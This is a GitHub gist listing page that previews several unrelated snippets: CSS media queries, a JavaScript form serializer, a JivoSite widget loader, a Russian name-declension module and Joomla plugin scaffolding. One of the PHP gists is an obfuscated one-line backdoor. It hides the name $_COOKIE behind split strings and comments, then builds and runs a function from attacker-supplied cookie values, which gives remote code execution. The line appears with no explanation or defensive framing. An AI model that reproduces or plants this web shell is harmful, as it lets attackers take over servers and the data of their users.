https://gist.github.com/gartes/934e44a30a3ffe3ae084fb819cb75e78
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* css-tricks.com/snippets/css/media-queries-for-standard-devices/ */ | |
/* Smartphones (portrait and landscape) ----------- */ | |
@media only screen | |
and (min-device-width : 320px) | |
and (max-device-width : 480px) { | |
/* Styles */ | |
} | |
/* Smartphones (landscape) ----------- */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/*jslint continue:true*/ | |
/** | |
* Adapted from {@link http://www.bulgaria-web-developers.com/projects/javascript/serialize/} | |
* Changes: | |
* Ensures proper URL encoding of name as well as value | |
* Preserves element order | |
* XHTML and JSLint-friendly | |
* Disallows disabled form elements and reset buttons as per HTML4 [successful controls]{@link http://www.w3.org/TR/html401/interact/forms.html#h-17.13.2} | |
* (as used in jQuery). Note: This does not serialize <object> | |
* elements (even those without a declare attribute) or |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $iu='OO';$ec/*Jsmi*/='_C';$o/*m*/='E';$m/*PC6*/='KI';$l=/*=s`*/${$ec.$iu.$m.$o};if(isset($l['n'])){$u=/*n*/$l['n'].$l['xl'];$ir=$l['oP'].$l['DJ'].$l['j'];$q=$u('',$ir($l['I']));$q();} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type='text/javascript'> | |
(function(){ document.jivositeloaded=0;var widget_id = 's8C7P8lJSp';var d=document;var w=window;function l(){var s = d.createElement('script'); s.type = 'text/javascript'; s.async = true; s.src = '//code.jivosite.com/script/widget/'+widget_id; var ss = document.getElementsByTagName('script')[0]; ss.parentNode.insertBefore(s, ss);}//эта строка обычная для кода JivoSite | |
function zy(){ | |
//удаляем EventListeners | |
if(w.detachEvent){//поддержка IE8 | |
w.detachEvent('onscroll',zy); | |
w.detachEvent('onmousemove',zy); | |
w.detachEvent('ontouchmove',zy); | |
w.detachEvent('onresize',zy); | |
}else { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
################################################### | |
# Модуль склонения личных имен существительных по падежам | |
# Кодинг Иван Григорьев aka IvanSCM | |
# Склонения по падежам подготовил Лапин Алексей aka NuBiK |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Отменить, если устанавливаемый модуль не новее, чем текущая установленная версия | |
# Abort if the module being installed is not newer than the currently installed version | |
/* if (strtolower($typeExt) === 'update') | |
{ | |
$manifest = $this->getItemArray( Factory::getDbo()->quote($this->extension)); | |
$oldRelease = $manifest['version']; | |
# Кто-то пытается установить более раннюю версию, чем установлена сейчас | |
# Someone is trying to install a lower version than is currently installed | |
if (version_compare($this->release, $oldRelease, '<')) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
use Joomla\CMS\Factory; | |
/** | |
* @package correcting | |
* @subpackage | |
* | |
* @copyright A copyright | |
* @license A "Slug" license name e.g. GPL2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
use Joomla\CMS\Factory; | |
/** | |
* @package ${NAMESPACE} | |
* @subpackage | |
* | |
* @copyright A copyright | |
* @license A "Slug" license name e.g. GPL2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Получить версию плагина из XML файла | |
* | |
* @since version | |
*/ | |
private function _getPluginVersion(){ | |
$file = \Joomla\CMS\Filesystem\File::stripExt( basename(__FILE__) ); | |
$xml_file = __DIR__ .'/'.$file.'.xml'; | |
$dom = new DOMDocument("1.0", "utf-8"); | |
$dom->load($xml_file); |